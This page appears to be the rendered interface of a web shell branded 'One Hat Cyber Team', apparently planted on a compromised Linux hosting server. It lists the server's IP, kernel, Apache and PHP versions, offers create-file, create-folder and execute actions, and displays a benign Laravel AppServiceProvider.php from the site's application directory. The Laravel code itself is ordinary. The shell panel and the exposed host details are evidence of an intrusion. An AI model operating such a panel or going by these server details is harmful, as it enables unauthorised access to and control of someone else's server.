⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.138
Server IP:
186.226.58.36
Server:
Linux da02.sh15.net 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Server Software:
Apache/2
PHP Version:
8.1.32
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
redesystem
/
public_html
/
sys
/
app
/
Providers
/
View File Name :
AppServiceProvider.php
<?php namespace App\Providers; use Illuminate\Support\ServiceProvider; use Mariuzzo\LaravelJsLocalization\Commands\LangJsCommand; use Mariuzzo\LaravelJsLocalization\Generators\LangJsGenerator; class AppServiceProvider extends ServiceProvider { /** * Register any application services. */ public function register(): void { // Bind the Laravel JS Localization command into the app IOC. $this->app->singleton('localization.js', function ($app) { $app = $this->app; $laravelMajorVersion = (int) $app::VERSION; $files = $app['files']; if ($laravelMajorVersion === 4) { $langs = $app['path.base'].'/app/lang'; } elseif ($laravelMajorVersion >= 5 && $laravelMajorVersion < 9) { $langs = $app['path.base'].'/resources/lang'; } elseif ($laravelMajorVersion >= 9) { $langs = app()->langPath(); } $messages = $app['config']->get('localization-js.messages'); $generator = new LangJsGenerator($files, $langs, $messages); return new LangJsCommand($generator); }); } /** * Bootstrap any application services. */ public function boot(): void { if (getCurrentTimeZone() != null) { date_default_timezone_set(getCurrentTimeZone()); } } }